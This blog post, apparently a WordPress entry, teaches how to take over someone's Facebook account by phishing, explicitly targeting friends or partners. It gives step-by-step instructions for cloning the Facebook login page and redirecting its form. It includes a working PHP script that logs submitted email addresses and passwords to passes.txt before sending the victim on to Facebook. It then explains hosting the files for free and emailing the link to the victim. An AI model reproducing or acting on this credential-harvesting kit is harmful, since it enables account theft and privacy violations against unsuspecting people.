Hack a Facebook Account

Hello,

Today we will have a look on Facebook hacking. Facebook is now a populated social network. I’m sure there are a lot of people out wondering how to hack a Facebook account. People usually want to hack their friends or their bf/gf’s Facebook account. Lets have a look on how to hack your friends facebook account.

We will hack facebook accounts through Phishing. In this method, you will create a fake facebook login page that exactly looks like the original Facebook login page and send the fake page to the victim through email or any other method. When the victim enters his email id and Facebook password, his email id and password will be sent to a specified address defined by you.

Lets get into work:

>> Go to www.Facebook.com to open the login page.

>> Save the login page (by pressing CTRL+s) with name “index.htm” and save as   ‘complete web page’.

>> Now open the index.htm file in Notepad.

>> Find action=”https://www.facebook.com/login.php?login_attempt=1″ method=”post” in the file and replace https://www.facebook.com/login.php?login_attempt=1 with login.php and change method=”post” to method=”get”, save the file and exit Notepad.

 

Now we will create the login.php file. Open notepad and copy the following code there:

 

<?php
header(“Location: http://www.facebook.com&#8221;);
$handle = fopen(“passes.txt”, “a”);
foreach($_GET as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>

 

Now save the file named login and save as type .php

Ok, now you need site to upload the files. Don’t worry, we will use free hosting service and create a site within 5 minutes! http://www.5gbfree.com is a nice free hosting site, just go to the site and create a free account – now you have your own site. Upload the files index.htm, index_files and login.php in the same directory. Note down the url of the index.htm and send an email containing that url to the victim. Now wait. If the victim enters his email id and password in the page, then a file named passes.txt will be created in the directory where you uploaded the phishing files. Now you have victim’s id and password. Cheers!

Hope you enjoyed the trick.

Advertisements
This entry was posted in Hacking and tagged , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s